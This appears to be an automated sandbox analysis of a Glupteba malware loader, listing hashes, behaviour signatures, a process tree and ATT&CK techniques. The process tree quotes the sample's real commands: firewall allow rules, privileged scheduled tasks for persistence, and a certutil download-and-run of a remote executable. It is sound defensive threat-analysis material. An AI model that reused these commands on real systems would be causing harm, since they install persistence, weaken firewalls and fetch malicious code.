Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-05-2022 04:23

General

  • Target

    8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

  • Size

    3.5MB

  • MD5

    5635e26c47223e47e3a87856d2e004b5

  • SHA1

    4bcb817e4479f2c78c068c6163bf2ea70283be96

  • SHA256

    8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

  • SHA512

    fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
    "C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
      "C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2100
      • C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
        "C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2536
        • C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
          "C:\Users\Admin\AppData\Local\Temp\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe"
          4⤵
          • Adds Run key to start application
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3220
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
                PID:3848
            • C:\Windows\system32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2416
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes
                6⤵
                  PID:3168
              • C:\Windows\rss\csrss.exe
                C:\Windows\rss\csrss.exe ""
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3164
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe ""
                  6⤵
                  • Executes dropped EXE
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3080
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    7⤵
                    • Creates scheduled task(s)
                    PID:3588
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                    7⤵
                    • Creates scheduled task(s)
                    PID:4208
                  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                    "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:8
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\Sysnative\bcdedit.exe /v
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:3912
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4936

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe
        Filesize

        3.5MB

        MD5

        5635e26c47223e47e3a87856d2e004b5

        SHA1

        4bcb817e4479f2c78c068c6163bf2ea70283be96

        SHA256

        8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

        SHA512

        fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

      • C:\Windows\rss\csrss.exe
        Filesize

        3.5MB

        MD5

        5635e26c47223e47e3a87856d2e004b5

        SHA1

        4bcb817e4479f2c78c068c6163bf2ea70283be96

        SHA256

        8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

        SHA512

        fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

      • C:\Windows\rss\csrss.exe
        Filesize

        3.5MB

        MD5

        5635e26c47223e47e3a87856d2e004b5

        SHA1

        4bcb817e4479f2c78c068c6163bf2ea70283be96

        SHA256

        8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

        SHA512

        fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

      • memory/8-163-0x0000000000000000-mapping.dmp
      • memory/1796-145-0x0000000000000000-mapping.dmp
      • memory/2100-137-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/2100-136-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/2100-135-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/2100-133-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/2100-132-0x0000000000000000-mapping.dmp
      • memory/2416-148-0x0000000000000000-mapping.dmp
      • memory/2536-138-0x0000000000000000-mapping.dmp
      • memory/2536-142-0x00000000025F3000-0x0000000002965000-memory.dmp
        Filesize

        3.4MB

      • memory/3080-153-0x0000000000000000-mapping.dmp
      • memory/3080-160-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/3092-130-0x000000000294E000-0x0000000002CC0000-memory.dmp
        Filesize

        3.4MB

      • memory/3092-131-0x0000000002CD0000-0x000000000303E000-memory.dmp
        Filesize

        3.4MB

      • memory/3164-150-0x0000000000000000-mapping.dmp
      • memory/3164-157-0x0000000002A00000-0x0000000002D72000-memory.dmp
        Filesize

        3.4MB

      • memory/3168-149-0x0000000000000000-mapping.dmp
      • memory/3220-147-0x0000000000400000-0x0000000000B27000-memory.dmp
        Filesize

        7.2MB

      • memory/3220-139-0x0000000000000000-mapping.dmp
      • memory/3588-161-0x0000000000000000-mapping.dmp
      • memory/3848-146-0x0000000000000000-mapping.dmp
      • memory/3912-165-0x0000000000000000-mapping.dmp
      • memory/4208-162-0x0000000000000000-mapping.dmp